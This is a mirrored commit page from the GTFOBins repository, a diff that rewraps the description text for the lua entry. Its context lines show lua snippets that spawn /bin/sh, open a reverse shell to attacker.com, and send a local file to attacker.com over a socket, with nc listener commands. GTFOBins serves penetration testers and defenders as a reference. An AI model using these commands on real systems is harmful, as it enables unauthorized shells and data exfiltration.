mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 20:42:48 +01:00
Fix lua descriptions
This commit is contained in:
parent
ef92163d03
commit
00a06edb07
@ -3,8 +3,7 @@ functions:
|
|||||||
execute-interactive:
|
execute-interactive:
|
||||||
- code: lua -e 'os.execute("/bin/sh")'
|
- code: lua -e 'os.execute("/bin/sh")'
|
||||||
reverse-shell-non-interactive:
|
reverse-shell-non-interactive:
|
||||||
- description: Run <code>nc -l -p 12345</code> on
|
- description: Run <code>nc -l -p 12345</code> on the attacker box to receive the shell. This requires `lua-socket` installed.
|
||||||
the attacker box to receive the shell. This requires `lua-socket` installed.
|
|
||||||
code: |
|
code: |
|
||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
@ -28,8 +27,7 @@ functions:
|
|||||||
local b=assert(f:read("*a"));c:send(b);
|
local b=assert(f:read("*a"));c:send(b);
|
||||||
end;c:close();f:close();'
|
end;c:close();f:close();'
|
||||||
upload:
|
upload:
|
||||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"`
|
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed.
|
||||||
on the attacker box to collect the file. This requires `lua-socket` installed.
|
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
|
Loading…
Reference in New Issue
Block a user